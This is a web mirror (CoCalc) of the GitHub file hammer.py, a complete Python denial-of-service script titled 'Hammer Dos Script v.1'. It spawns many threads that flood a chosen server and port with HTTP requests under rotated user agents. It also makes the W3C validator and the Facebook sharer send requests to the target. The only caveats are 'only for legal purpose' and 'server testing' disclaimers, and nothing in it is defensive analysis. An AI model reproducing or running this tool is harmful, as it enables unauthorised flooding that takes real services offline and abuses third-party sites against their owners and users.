Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
cyweb
GitHub Repository: cyweb/hammer
Path: blob/master/hammer.py
73 views
1
#!/usr/bin/python3
2
# -*- coding: utf-8 -*-
3
4
# python 3.3.2+ Hammer Dos Script v.1
5
# by Can Yalçın
6
# only for legal purpose
7
8
9
from queue import Queue
10
from optparse import OptionParser
11
import time,sys,socket,threading,logging,urllib.request,random
12
13
def user_agent():
14
global uagent
15
uagent=[]
16
uagent.append("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14")
17
uagent.append("Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0")
18
uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3")
19
uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
20
uagent.append("Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7")
21
uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
22
uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1")
23
return(uagent)
24
25
26
def my_bots():
27
global bots
28
bots=[]
29
bots.append("http://validator.w3.org/check?uri=")
30
bots.append("http://www.facebook.com/sharer/sharer.php?u=")
31
return(bots)
32
33
34
def bot_hammering(url):
35
try:
36
while True:
37
req = urllib.request.urlopen(urllib.request.Request(url,headers={'User-Agent': random.choice(uagent)}))
38
print("\033[94mbot is hammering...\033[0m")
39
time.sleep(.1)
40
except:
41
time.sleep(.1)
42
43
44
def down_it(item):
45
try:
46
while True:
47
packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data).encode('utf-8')
48
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
49
s.connect((host,int(port)))
50
if s.sendto( packet, (host, int(port)) ):
51
s.shutdown(1)
52
print ("\033[92m",time.ctime(time.time()),"\033[0m \033[94m <--packet sent! hammering--> \033[0m")
53
else:
54
s.shutdown(1)
55
print("\033[91mshut<->down\033[0m")
56
time.sleep(.1)
57
except socket.error as e:
58
print("\033[91mno connection! server maybe down\033[0m")
59
#print("\033[91m",e,"\033[0m")
60
time.sleep(.1)
61
62
63
def dos():
64
while True:
65
item = q.get()
66
down_it(item)
67
q.task_done()
68
69
70
def dos2():
71
while True:
72
item=w.get()
73
bot_hammering(random.choice(bots)+"http://"+host)
74
w.task_done()
75
76
77
def usage():
78
print (''' \033[92m Hammer Dos Script v.1 https://cyweb.github.io/hammer/
79
It is the end user's responsibility to obey all applicable laws.
80
It is just for server testing script. Your ip is visible. \n
81
usage : python3 hammer.py [-s] [-p] [-t]
82
-h : help
83
-s : server ip
84
-p : port default 80
85
-t : turbo default 135 \033[0m''')
86
sys.exit()
87
88
89
def get_parameters():
90
global host
91
global port
92
global thr
93
global item
94
optp = OptionParser(add_help_option=False,epilog="Hammers")
95
optp.add_option("-q","--quiet", help="set logging to ERROR",action="store_const", dest="loglevel",const=logging.ERROR, default=logging.INFO)
96
optp.add_option("-s","--server", dest="host",help="attack to server ip -s ip")
97
optp.add_option("-p","--port",type="int",dest="port",help="-p 80 default 80")
98
optp.add_option("-t","--turbo",type="int",dest="turbo",help="default 135 -t 135")
99
optp.add_option("-h","--help",dest="help",action='store_true',help="help you")
100
opts, args = optp.parse_args()
101
logging.basicConfig(level=opts.loglevel,format='%(levelname)-8s %(message)s')
102
if opts.help:
103
usage()
104
if opts.host is not None:
105
host = opts.host
106
else:
107
usage()
108
if opts.port is None:
109
port = 80
110
else:
111
port = opts.port
112
if opts.turbo is None:
113
thr = 135
114
else:
115
thr = opts.turbo
116
117
118
# reading headers
119
global data
120
headers = open("headers.txt", "r")
121
data = headers.read()
122
headers.close()
123
#task queue are q,w
124
q = Queue()
125
w = Queue()
126
127
128
if __name__ == '__main__':
129
if len(sys.argv) < 2:
130
usage()
131
get_parameters()
132
print("\033[92m",host," port: ",str(port)," turbo: ",str(thr),"\033[0m")
133
print("\033[94mPlease wait...\033[0m")
134
user_agent()
135
my_bots()
136
time.sleep(5)
137
try:
138
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
139
s.connect((host,int(port)))
140
s.settimeout(1)
141
except socket.error as e:
142
print("\033[91mcheck server ip and port\033[0m")
143
usage()
144
while True:
145
for i in range(int(thr)):
146
t = threading.Thread(target=dos)
147
t.daemon = True # if thread is exist, it dies
148
t.start()
149
t2 = threading.Thread(target=dos2)
150
t2.daemon = True # if thread is exist, it dies
151
t2.start()
152
start = time.time()
153
#tasking
154
item = 0
155
while True:
156
if (item>1800): # for no memory crash
157
item=0
158
time.sleep(.1)
159
item = item + 1
160
q.put(item)
161
w.put(item)
162
q.join()
163
w.join()
164
165